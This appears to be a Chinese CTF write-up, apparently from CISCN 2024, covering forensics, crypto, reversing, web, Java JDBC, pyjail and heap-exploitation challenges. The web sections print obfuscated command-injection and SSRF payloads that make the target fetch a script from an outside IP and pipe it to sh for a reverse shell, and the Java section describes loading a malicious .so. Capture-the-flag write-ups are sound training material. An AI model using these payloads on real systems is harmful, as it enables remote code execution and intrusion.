# 通风机
# 操作内容:
通过 online 下载西门子 step7 工控软件,然后发现 mwp 文件打不开
通过创建一个文件对比文件头发现题目中的文件缺少文件头
补全文件头后可以直接打开,然后在 symbol table 中发现密文
解密得 flag
# flag 值:flag
# 大学生安全测试能力调研问卷
# 操作内容:
答完问卷即得
# flag 值:flag
# 第一天_asm_re
# 操作内容:
密文块
加密方式
1 | def decrypt_data(s): |
# flag 值:flag {67e9a228e45b622c2992fb5174a4f5f5}
# 第一天_android_re
# 操作内容
androidso_rejadx 打开,先看看 MainActivity,flag 长度为 38 位,然后调用了 inspect
然后 inspect 是一个 DES 加密,同时拿到密文,调用了 native 层的 getKey () 和 getiv ()
解压缩 apk,在 /lib 目录下找到 so 文件 iv 和 key 都挺复杂的,静态不好分析
考虑动态,用 frida hook 梭
1 | function hook() { |
frida -U -f com.example.re11113 -l hook.js 结果发现 getkey 返回值不是 Mofified UTF-8,会导致程序崩溃
所以针对 getkey 考虑换种 hook 方式,直接 hook JNI 函数,然后读取到返回值后手动替换返回值使他可以正确执行不崩溃
1 | function hook() { |
同样 frida -U -f com.example.re11113 -l hook.js 得到
1 | key = b"A8UdWaeq" |
<a name="ZXFm5"></a>
# exp
1 | import base64 |
# flag 值:flag
# 第一天_神秘文件
# 操作内容:
# part1
在 core.xml 中发现密文和 key
# part2
将 ppt 作为压缩包打开,发现 word 文档
利用 word 隐写常见方式(改字符颜色,隐藏文字)发现密文
由 word 文档里的文字可得凯撒加密,通过尝试偏移量,进行 cyberchef 解密得 part2
# part3
在压缩包中发现 vbaproject.bin 通过百度破解其的方式 https://blog.csdn.net/qq_14815199/article/details/119457181
通过分析加密方法利用 cyber 解密
# part4
第三页发现密文,解密后得 part4
# part5
在第五页 ppt 备注发现密文,cyberchef 解码后得到 part5
# part6
在 ppt 压缩包中得 media 文件夹中发现密文,cyber 解密得 part6
# part7
在 slide4.xml 中发现密文
通过联想其他的 part 解法,解得 part7
# part8
在 slideLayout2.xml 中发现密文
而后发现提示
remove 后解得 part8
# part9
在 media 中的 image57.jpg 发现密文
解得 part9
# part10
在第四页发现批注,通过聊天信息得维吉尼亚解密,解密得 part10
# flag 值:flag {e675efb3-346f-405f-90dd-222b387edee9}
# 古典密码
# 操作内容:
由于没有密钥,先尝试没有密钥的古典密码,在埃特巴什码处得到下一步密文
在 cyberchef 中利用 atbash 解密,外加魔棒自动解密可得进一步的密文
而后随波逐流一把梭
# flag 值:flag
# 第一天_火锅链观光打卡
# 操作内容:
首先安装 metamask(比赛前已装好),并连接钱包
连接完后领取空投,然后通过答题获得 7 个不同食材图片
然后进行兑换获得 flag
# flag 值:flag
# 第一天_Power+Trajectory+Diagram
# 操作内容:(感觉照搬某一比赛的题目,仅仅改了附件)
通过 gpt 进行文件读取并对其中一个 trace 组进行画图分析发现个别突出的 trace
通过分析应该为侧信道攻击,可在网上搜得原理 https://kns.cnki.net/reader/review?invoice=fU4bjMUer3wwUlKCnQe6TAJwuBHBR8S7UEumnve%2B%2FhrmHnG5twA6yAbuBB0Th3vhBLsI7Cu1bA2%2FFOZxYY%2FpUZynVinbZsLTLqophPDa95Yt1tjWvRSqfsVOxuu1FVkILBRSb48xpcbSESo8tJECN1Uk5AWXAwVkVCwEX%2BkW968%3D&platform=NZKPT&product=CDFD&filename=1017288094.NH&tablename=cdfdlast2018&type=DISSERTATION&scope=trial&cflag=overlay&dflag=&pages=&language=chs&trial=&nonce=998A3C04CF78463896E7ABDD668AD40D,然后对 12 组 trace,进行相似度方差分析检索出每组相差最大的 trace 索引,最后 mod40 然后索引 input 中的 40 个字符得到 flag
1 | import numpy as np |
# flag 值:flag {ciscn_2024}
# 第一天_Tough_DNS
# 操作内容:
利用流量分析工具分析,发现 01 组成的域名
将 01 的数据导出
无法直接解二进制从而 01 二进制转二维码
得到二维码,扫描得 15f9792dba5c
通过分析后续流量,利用 tshark 脚本分别导出 0x6421,0x4500 所对应的数据
利用 gpt 写个脚本
1 | import pyshark |
解出来一个密文文件和一个压缩包,压缩包里是一个 gpg 密钥文件,密钥为之前的二维码出来的内容
利用 kali 解密密文时发现需要密钥,从而去题目中寻找线索
题目中提供一串密文无法 hex 将其 re 后得 hex 后得到一串字符 e 9 b 0 - e a 5 f 9 b a e 但发现不对,因而反向试验发现成功,密钥:eab9f5ae-0b9e
解密 dat 得 flag
# flag 值:flag
# 第二天_恶意软件
# 操作内容:
利用取证软件对 dmp 文件进行分析发现可疑网址
通过运行软件得到 loader.exe 和一张图片
对图片进行分析,存在隐写 zip,但存在其他无关数据,利用 gpt 进行剔除
得到.b 文件
通过对 exe 进行分析将.b 文件进行 base85 转换,得到可用的 shellcode
将其导出丢进沙箱分析,能找出 c2 地址
# flag 值:flag
# 第一天_simple_php
# 操作内容:
1 |
|
这个 open_basedir 是一点用没有的。最终 payload 可以利用 eval
xxx`` 配合 \
反斜杠去绕过关键字就可以
cmd=eval
ec\ho Y3VybCBo\dHRwOi8vOC4xMzAuMjQuMTg4OjgwMDAvMS5zaHxzaA==|base\64 -d|s\h``
反弹 shell 过后发现没有 flag 文件,查看 ps -ef
发现存在 mysql,上线 cs 平台后 mysql -uroot -proot 直接连进去读 flag 了
# flag 值:flag
# 第一天_easycms
# 操作内容:
dirsearch 可以扫出 flag.php,内容后面给了 hint
1 | if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ |
也就是说让我们找到一个 ssrf 的点位就行了。
源码审计发现 down_img 路由存在 ssrf 漏洞
但是我们要满足一个正则 /(src)=([\"|']?)([^ \"'>]+)\\2/i"
,这个正则的含义其实也就是 <img> 标签的内容,example: <img src="https://xxx?cmd=whoami"/>
这个路由原本是用来识别 img 标签里的 src 位置的,但我们可控输入所以就造成了 ssrf,最终 poc
1 | value=<img src="https://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh" alt="Example Image"> |
发送请求后 vps 收到请求
最终拿到 flag
# flag 值:
flag
# 第二天_ezjava
# 操作内容:
考点是 Java 的 Jdbc Attack 对应的 Sqlite 部分。
虽然题目给了 3 个 JDBC 服务,但其实可以利用的只有 sqlite,目的是 rce。注意到开启了 extension_enable 选项
开启了拓展支持,并且已经有了相关的攻击面文章
[https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu Yuanzhen & Chen Hongkun.pdf](https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu Yuanzhen & Chen Hongkun.pdf)
在这个 ppt 里我们知道如何去加载远程的 db 文件。首先我们开启远程 debug 调试一下看看逻辑。
这边会取 resourceAddr 的 hashcode 加上指定的前缀作为最终的缓存文件名。那么我们的思路就是利用这个特性缓存一个恶意的 so 文件,这是第一次请求。
恶意 so 文件制作过程如下
1 |
|
最后我们使用 load_extension ('xxx','flag') 函数就会加载 flag 方法,成功的触发反弹 shell 了。
第二次请求我们就去加载这个恶意 so 文件。
1 | package com.javasec.pocs.solutions.ciscn; |
我们生成恶意 db 文件的脚本如上,可以看到我们创建了一个 security 表,然后用到了 as SELECT 语句。(security 表用的是 ppt 里的,直接复制粘贴了)
然后我们发起请求就会触发 select 语句
然后就开始实操。首先先让目标缓存一下我们的 so 文件
然后我们再去加载恶意 db,触发指定的 sql 语句。
最终获取 flag
# flag 值:
flag
# 第二天_mossfern
# 操作内容:
pyjail frame 帧逃逸
https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DdG%3Dd8bgh8wiD#toc-5
参考上述文章
1 | POST /api/run HTTP/1.1 |
可以看到已经获取到了 f_code 对象,根据文章中所说到的
f_code 存在 co_consts 对象。
但是在本地测试的时候发现由于结果出现了 flag 字眼就会被拦截,这里其实很好绕过。
因为是全字符串检测,我们字符串截取部分自然就可以返回 flag
1 | def boogipop(): |
# flag 值:
flag
# 第二天_easycms_revenge
# 操作内容:
和第一天的都一样
1 | value=<img src="https://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh" alt="Example Image"> |
发送请求后 vps 收到请求
最终拿到 flag
# flag 值:
flag
# 第二天_EzHeap
# 操作内容:
Glibc2.35 的高版本堆溢出题目
leak 的思路是通过堆溢出连续写入到 unsorted bin 的 fd 前面,也就是 size 域,然后 show 就会顺带将 libc 地址泄露出来
同时因为开了 seccomp,这道题准备打 house of apple2 + setcontext 来 ORW,所以还要泄露堆地址,堆地址从 largebin chunk 获取,leak 方式和上面一样
在获取地址后就开始布置数据了,分别要布置 rop,setcontext 所需的内存段,还有 Fake_IO_file
需要注意的是这里不能直接调用 open 函数,调用 open 函数执行的是 openat,会被 seccomp 屏蔽,用 syscall 去调用 open 函数才能打开 flag
这题的打法和前些天 ISCC 的 heapheap 有一点像,不过这道题有堆溢出在修改 Fake_FILE 的 SIZE 域的时候方便点(用来配合 keygadget 构造 rdx 寄存器)
# 如该题使用自己编写的脚本代码请详细写出,不允许截图
1 | from pwn import * |
# flag 值:
flag